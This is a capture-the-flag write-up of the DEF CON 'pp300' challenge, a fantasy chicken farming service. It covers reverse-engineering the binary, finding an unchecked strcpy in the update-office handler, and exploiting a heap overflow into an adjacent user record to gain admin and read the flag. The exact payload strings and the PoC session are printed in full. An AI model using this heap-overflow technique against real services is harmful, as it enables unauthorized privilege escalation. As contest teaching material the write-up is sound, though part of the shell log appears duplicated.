defcon@bs:/defcon/pwtent$ file pp300_6fa2f9a0d6617d2e3.bin
pp300_6fa2f9a0d6617d2e3.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.18, dynamically linked (uses shared libs), stripped
pp300_6fa2f9a0d6617d2e3.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.18, dynamically linked (uses shared libs), stripped
And we tried to execute on our VM, but we'll need to setup properly the system:
defcon@bs:/defcon/pwtent$ ./pp300_6fa2f9a0d6617d2e3.bin
pp300_6fa2f9a0d6617d2e3.bin: Failed to find user fcfl
: Success
defcon@bs:/defcon/pwtent$ sudo useradd -m fcfl
fcfl@bs:/home$ ncat 127.0.0.1 5555
attempted /home/fcfl/user.db.
can't read user db, quitting
cya
fcfl@bs:~$ ./pp300_6fa2f9a0d6617d2e3.bin
fcfl@bs:/home$ ncat 127.0.0.1 5555
fantasy chicken farmin league
menu
c) create account
l) login
q) quit
: Success
defcon@bs:/defcon/pwtent$ sudo useradd -m fcfl
fcfl@bs:/home$ ncat 127.0.0.1 5555
attempted /home/fcfl/user.db.
can't read user db, quitting
cya
fcfl@bs:~$ ./pp300_6fa2f9a0d6617d2e3.bin
fcfl@bs:/home$ ncat 127.0.0.1 5555
fantasy chicken farmin league
menu
c) create account
l) login
q) quit
Just note that for every request, the server create a new process to attend this connection:
fcfl@bs:~$ ps auxww | grep pp300
fcfl 9745 0.0 0.1 1996 608 pts/0 S 11:22 0:00 ./pp300_6fa2f9a0d6617d2e3.bin
fcfl 9747 0.0 0.0 1996 344 pts/0 S 11:22 0:00 ./pp300_6fa2f9a0d6617d2e3.bin
Let's examine the file :):
After dissasembling the file, we can find the main initialization code (0x08048d34):
For every new client, the server forks a process, that execute the code labelled "interactWithClient" (0x0804C18B):
As it can be observed on the "Graph overview", the structure of this function is very similar to a switch code, so basically this code interacts with the client and makes the appropiate calls depending of the user input.
If we look closer on this function, we can find an interesting piece of code (0x0804C509)
On the previous code, if the user enter the command "6" and if he's an admin (and has logged), the server will print the key stored on "/home/fcfl/key".
So, we need to find when this variable is set. Looking around, we'll find the following piece of code, located on the logging functionality (0x0804A8A1)
The code looks for the user structure (offset 0x38h) and test if this variable has a value greater than 0x000001f3h. If this condition is meet, the user will be logged with administrative privileges.
So, now we have a (limited) understanding on what we need to do: we need to find some way to alter this structure. As all the user information is read from the database file ("/home/fcfl/user.db") and stored on memory, we'll face with a heap overflow.
If we search for some "weak security" functions, we'll find an insecure strcpy on the code that manages the update user info (0x0804B148). This code is triggered if the user presses the "u" key.
.text:0804B2DF mov dword ptr [esp+4], offset aWouldYouLike_4 ; "would you like to change office #(%s) ["...
.text:0804B2E7 mov eax, [ebp+fd]
.text:0804B2EA mov [esp], eax ; fd
.text:0804B2ED call writeLine
.text:0804B2F2 mov eax, [ebp+nptr]
.text:0804B2F5 mov [esp+4], eax ; int
.text:0804B2F9 mov eax, [ebp+fd]
.text:0804B2FC mov [esp], eax ; fd
.text:0804B2FF call yesOrNo?
.text:0804B304 cmp al, 79h
.text:0804B306 jnz short loc_804B360
.text:0804B308 mov dword ptr [esp+4], offset aEnterNewOffice ; "enter new office: "
.text:0804B310 mov eax, [ebp+fd]
.text:0804B313 mov [esp], eax ; fd
.text:0804B316 call writeLine
.text:0804B31B mov dword ptr [esp+0Ch], 0Ah ; int
.text:0804B323 mov dword ptr [esp+8], 257h ; char
.text:0804B32B mov eax, [ebp+nptr]
.text:0804B32E mov [esp+4], eax ; int
.text:0804B332 mov eax, [ebp+fd]
.text:0804B335 mov [esp], eax ; fd
.text:0804B338 call readLine
.text:0804B33D mov [ebp+var_18], eax
.text:0804B340 mov eax, [ebp+var_18]
.text:0804B343 add eax, [ebp+nptr]
.text:0804B346 mov byte ptr [eax], 0
.text:0804B349 mov edx, [ebp+nptr]
.text:0804B34C mov eax, [ebp+dest]
.text:0804B34F add eax, 86h
.text:0804B354 mov [esp+4], edx ; src
.text:0804B358 mov [esp], eax ; dest
.text:0804B35B call _strcpy <============== HERE
Then, if we put too much data on the "update office", we'll overflow the heap.
fcfl@bs:/home$ ncat 127.0.0.1 5555
menu (a1)
L) logout
b) buy chickens
i) incinerate money
s) sell eggs
p) display my info
u) update my info
q) quit
u
1: u
would you like to change username (a1) [y/n]: n
would you like to change user info () [y/n]: n
would you like to change office #() [y/n]: y
enter new office: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
would you like to change password [y/n]: [y/n][y/n][y/n]n
would you like to change uid(0) [y/n]: n
would you like to change you egg count(0) [y/n]: n
fcfl@bs:/home$
Done!!, seems that the overflow worked. If we attach a debugger to the fork'd process we can see that we overwrite too much data, causing a libc error, as we have corrupted the memory.
fcfl@bs:~$ ps auxww | grep pp300
fcfl 9745 0.0 0.1 1996 608 pts/0 S 11:22 0:00 ./pp300_6fa2f9a0d6617d2e3.bin
fcfl 9763 0.0 0.0 1996 340 pts/0 S 12:29 0:00 ./pp300_6fa2f9a0d6617d2e3.bin
fcfl@bs:~$ gdb program 9763
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
program: No such file or directory.
Attaching to process 9763
0xffffe424 in __kernel_vsyscall ()
(gdb) c
Continuing.
*** glibc detected *** ./pp300_6fa2f9a0d6617d2e3.bin: realloc(): invalid next size: 0x0868fd20 ***
(no debugging symbols found)
======= Backtrace: =========
...
======= Memory map: ========
...
Program received signal SIGABRT, Aborted.
0xffffe424 in __kernel_vsyscall ()
(gdb) c
Continuing.
Program terminated with signal SIGABRT, Aborted.
The program no longer exists.
The program is not being run.
(gdb)
Now we can overflow the user structure that is stored on memory, and maybe we'll be able to alter the variable isAdmin. As we need more info, I looked around the code to infer the data structure that stores all the user info.
Looking at 0x0804B148 (f_update_User_Info), 0x0804A6C0 (printUserInfo) and 0x0804B9E6 (createUser) we can enumerate all the fields of the structure.
sizeof(USER STRUCT) == 9Ch
username 0x00
password 0x14
?? 0x35
isAdmin 0x38 <====
chickens 0x3c
monies 0x40
eggs 0x44
uid 0x48
*next 0x4c
*prev 0x50
info 0x54
office 0x86
So, we cannot modify the user field isAdmin, because the direction of the overflow is only made from lower to higher memory addresses.
This "problem" can be solved creating other accounts, expecting to find 2 accounts stored in consecutive memory addresses. The users are stored on memory using a double linked list (pointers *prev and *next)
Under these premises when we modified the first account, we'll overflow the data stored on the second account :).
So, on our test machine, we have created 2 accounts, and with the second account we'll be able to obtain the following info, using the command "p" (print user info).
1: p (account #2)
chickens: 0
eggs: 0
monies: 1000
id: 0
username: a2
info:
office:
password: be735284c5f497986e4c954fdf370286
perm: 1
next: 868fa30 <= account #1
prev: 868f7e0
With this info we obtain:
- Memory gap: 0x868fb28-0x868fa30-0x9c= 0xf8-0x9c=0x5c
- Size of field 'office': 0x9c (size struct)-0x86 (offset field 'office')=0x16
- len(Nops)=0x5c+0x16=0x72
- Bytes until account 2 field 'isAdmin': 0x38 (must include username+encrypted key)
- Bytes to overwrite (field 'isAdmin'): 2 bytes (value greater than 0x1f3h)
- Total size= NOPs (0x72)+payload (0x3a)) == 0xAC== 172 bytes
So in order to exploit the server, we'll create a payload that will contain a valid USERNAME and a valid PASSWORD, that we'll give access to an Administrative account :).
- We'll overwrite the username struct:username field (0x14 len) with random data, for example,
username: AAAAAAAAAAAAAAAA0000 - The password field with a blank password (be735284c5f497986e4c954fdf370286)
- And finally, we'll overwrite the 'isAdmin' field with a value greater that 0x1f3h (i.e. "00"==0x3030) So, finally the payload is "AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf37028600"
exploit="ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZAAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000"
username="AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000"
On my test machine it worked properly (create 2 accounts with blank passwords and then inject the data on the first user). But on the online system I spent some time creating users until I found 2 users which its info were stored on consecutive memory address (with distance 0xf8).
PoC:
menu (a)
L) logout
b) buy chickens
i) incinerate money
s) sell eggs
p) display my info
u) update my info
q) quit
u
1: u
would you like to change username (a) [y/n]: n
would you like to change user info () [y/n]: n
would you like to change office #() [y/n]: y
enter new office: ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZAAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000
would you like to change password [y/n]: n
...
finished updates
menu (a)
L) logout
b) buy chickens
i) incinerate money
s) sell eggs
p) display my info
u) update my info
q) quit
L
1: L
menu
c) create account
l) login
q) quit
l
1: l
enter username: AAAAAAAAAAAAAAAA0000be735284c5f497986e4c954fdf370286AA0000
enter password:
logged in!
menu (AAAAAAAAAAAAAAAA0000)
L) logout
b) buy chickens
i) incinerate money
s) sell eggs
p) display my info
u) update my info
P) print userlist
q) quit
6
1: 6
funkymonkeyfartsaregolden
So, the key is "funkymonkeyfartsaregolden". pp300 solved :)
Btw, I've created a PoC python script that automates the attack on a local machine (download).



